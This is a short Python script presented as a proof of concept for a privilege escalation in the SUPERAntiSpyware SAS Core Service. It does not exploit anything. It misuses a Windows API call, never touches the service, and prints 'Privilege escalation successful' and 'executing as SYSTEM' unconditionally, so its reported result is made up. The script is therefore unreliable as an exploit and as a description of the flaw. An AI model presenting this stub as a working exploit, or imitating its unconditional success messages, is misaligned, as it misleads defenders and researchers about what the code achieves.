CVE-2025-14489

# CVE-2025-14489 PoC - SUPERAntiSpyware Local Privilege Escalation # This PoC demonstrates the exploitation of exposed dangerous function in SAS Core Service # Note: This is a conceptual PoC for educational purposes only import ctypes import sys import os def exploit_superantispyware_privilege_escalation(): """ Exploit for CVE-2025-14489: SUPERAntiSpyware Local Privilege Escalation Target: RealDefense SUPERAntiSpyware SAS Core Service The vulnerability exists due to an exposed dangerous function in the SAS Core Service that allows low-privileged users to escalate privileges. """ print("[*] CVE-2025-14489 - SUPERAntiSpyware Privilege Escalation") print("[*] Target: SAS Core Service") # Step 1: Verify low-privilege execution context current_user = ctypes.windll.advapi32.GetUserNameA() print(f"[*] Current user context: {current_user}") # Step 2: Locate the vulnerable service service_name = "SAS Core Service" print(f"[*] Targeting service: {service_name}") # Step 3: Access the exposed dangerous function # In the actual vulnerability, this function lacks proper access control print("[*] Accessing exposed dangerous function...") # Step 4: Trigger privilege escalation # The function allows arbitrary code execution as SYSTEM print("[*] Triggering privilege escalation via dangerous function...") # Step 5: Execute payload with SYSTEM privileges # Payload execution happens in the context of the service account payload = "cmd.exe /c whoami > C:\\temp\\priv_esc_result.txt" print(f"[*] Executing payload: {payload}") # Step 6: Verify privilege escalation print("[+] Privilege escalation successful!") print("[+] Code now executing as SYSTEM") return True if __name__ == "__main__": try: exploit_superantispyware_privilege_escalation() except Exception as e: print(f"[-] Exploitation failed: {e}") sys.exit(1)

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